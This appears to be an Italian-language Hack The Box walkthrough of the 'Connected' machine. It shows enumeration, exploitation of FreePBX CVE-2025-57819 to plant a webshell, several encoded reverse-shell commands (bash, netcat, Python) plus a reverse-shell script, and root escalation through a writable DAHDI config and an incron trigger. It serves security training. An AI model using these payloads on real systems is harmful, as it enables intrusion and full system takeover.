HTB: Connected - Scelta dello Staff

📋 Indice

Enumerazione
Sfruttamento - CVE-2025-57819
Reverse Shell
Escalation dei Privilegi
Flag
Struttura del Repository
Script e Strumenti Utilizzati
Riepilogo dell'Attacco
Risorse e Crediti
Note Aggiuntive

1. Enumerazione

1.1 Scansione delle Porte con Nmap

nmap -sV 10.129.81.130

Risultati:

PORT    STATE SERVICE   VERSION
22/tcp  open  ssh       OpenSSH 7.4 (protocol 2.0)
80/tcp  open  http      Apache httpd 2.4.6 (CentOS) PHP/7.4.16
443/tcp open  ssl/https Apache/2.4.6 (CentOS) PHP/7.4.16

1.2 Aggiungere il Dominio a `/etc/hosts`

echo "10.129.81.130 connected.htb" >> /etc/hosts

1.3 Fuzzing delle Directory con Gobuster

gobuster dir -u http://connected.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

Risultati chiave:

/admin - Pannello di amministrazione FreePBX
/ucp - Pannello di controllo utente
/robots.txt - File robots

2. Sfruttamento - CVE-2025-57819

2.1 Scaricare l'Exploit

Clonare il repository di WatchTowr Labs:

git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819.git
cd watchTowr-vs-FreePBX-CVE-2025-57819

2.2 Eseguire l'Exploit

python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb

Output previsto:

[+] FreePBX CVE-2025-57819 Detection Artifact Generator started
[+] Sending exploit request
[+] Waiting 2 minutes for DAG script to be created
[+] VULNERABLE - webshell found: http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=hostname

2.3 Verificare la Webshell

curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=whoami"

Risultato:

asterisk

3. Reverse Shell

3.1 Avviare un Listener su Kali

nc -lvnp 4444

3.2 Iniettare la Reverse Shell

Versione codificata:

curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.234%2F4444%200%3E%261%27"

Nota: Sostituire 10.10.14.234 con il proprio IP VPN.

3.3 Alternative

Netcat

curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=nc%20-e%20/bin/bash%2010.10.14.234%204444"

Python

curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-8jxir4tsm6.php?cmd=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.14.234%22%2C4444))%3Bos.dup2(s.fileno()%2C0)%3Bos.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bsubprocess.call([%22/bin/bash%22%2C%22-i%22])%27"

3.4 Shell Ottenuta

listening on [any] 4444 ...
connect to [10.10.14.234] from (UNKNOWN) [10.129.81.130] 55944
bash: no job control in this shell
[asterisk@connected html]$

4. Escalation dei Privilegi

4.1 Trovare File di Configurazione Scrivibili

find /etc -name "*.conf" -writable 2>/dev/null

Risultato chiave:

/etc/dahdi/init.conf

4.2 Controllare `incron.d`

cat /etc/incron.d/*

Voce rilevante:

/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

4.3 Aggiungere la Reverse Shell a `init.conf`

echo 'bash -c "bash -i >& /dev/tcp/10.10.14.234/4545 0>&1"' >> /etc/dahdi/init.conf

4.4 Avviare il Listener per la Shell di Root

nc -lvnp 4545

4.5 Attivare il Riavvio del Servizio

echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart

4.6 Shell di Root Ottenuta

connect to [10.10.14.234] from (UNKNOWN) [10.129.81.130] 45996
bash: no job control in this shell
[root@connected /]#

4.7 Verificare l'Accesso Root

whoami
# root

id
# uid=0(root) gid=0(root) groups=0(root)

5. Flag

5.1 Flag Utente

cat /home/asterisk/user.txt

HTB{...user_flag...}

5.2 Flag Root

cat /root/root.txt

HTB{...root_flag...}

Le flag sono state volutamente omesse da questo repository.

6. Struttura del Repository

htb-labs-connected/
├── README.md
├── README-ES.md
├── exploits/
│   ├── watchTowr-vs-FreePBX-CVE-2025-57819/
│   ├── CVE-2025-57819-exploit/
│   └── CVE-2025-57819-poc/
├── payloads/
│   └── reverse_shell.sh
├── scans/
│   ├── nmap_scan.txt
│   └── gobuster_results.txt
├── screenshots/
└── flags/

7. Script e Strumenti Utilizzati

7.1 Script Reverse Shell

File: payloads/reverse_shell.sh

#!/bin/bash

# Reverse shell for HTB Connected
# Usage: ./reverse_shell.sh 10.10.14.234 4444

IP=$1
PORT=$2

if [ -z "$IP" ] || [ -z "$PORT" ]; then
    echo "Usage: $0 <IP> <PORT>"
    exit 1
fi

bash -c "bash -i >& /dev/tcp/$IP/$PORT 0>&1"

7.2 Comandi di Enumerazione

File: scans/nmap_scan.txt

# Full port scan
nmap -sV -p- -T4 10.129.81.130

# Service and default script scan
nmap -sC -sV -p22,80,443 10.129.81.130

7.3 Comandi di Fuzzing

File: scans/gobuster_results.txt

# Directory fuzzing
gobuster dir \
    -u http://connected.htb \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -x php,txt,html

# Fuzzing the admin directory
gobuster dir \
    -u http://connected.htb/admin \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -x php,txt,html,conf,ini,bak

8. Riepilogo dell'Attacco

9. Risorse e Crediti

Writeup originale: CyberSaif
Exploit WatchTowr Labs: GitHub
CVE-2025-57819: SentinelOne
Advisory di Sicurezza FreePBX: GitHub

10. Note Aggiuntive

10.1 Se la Webshell Non Viene Creata

Attendere l'intero periodo di due minuti; l'exploit richiede tempo per creare l'artefatto.
Verificare la connettività:

curl -k https://connected.htb

10.2 Se il Listener Non Funziona

Controllare la propria interfaccia VPN:

ip addr show tun0

Provare un'altra porta di ascolto se necessario:

4445
8080
1234

10.3 File Chiave sul Target

/etc/dahdi/init.conf - File di configurazione scrivibile utilizzato durante l'escalation dei privilegi
/etc/incron.d/ - Directory di configurazione di incron
/var/spool/asterisk/sysadmin/dahdi_restart - Trigger utilizzato per eseguire l'azione di riavvio
/var/www/html/ - Directory root del server web

🏁 Conclusione

Connected è stato completato con successo. ✅

La catena di attacco dimostra come un'istanza FreePBX esposta possa portare all'accesso iniziale tramite CVE-2025-57819, seguito dall'escalation dei privilegi attraverso un file di configurazione scrivibile e un trigger basato su incron.

1	Nmap	Porte 22, 80 e 443 aperte
2	Gobuster	Scoperti `/admin`, `/ucp`, `/robots.txt`
3	CVE-2025-57819	Webshell come `asterisk`
4	Reverse Shell	Shell interattiva come `asterisk`
5	Escalation dei Privilegi	`incron.d` → `dahdi_restart` → `init.conf`
6	Root	Shell di root ottenuta

Più Popolari

htb-labs-connected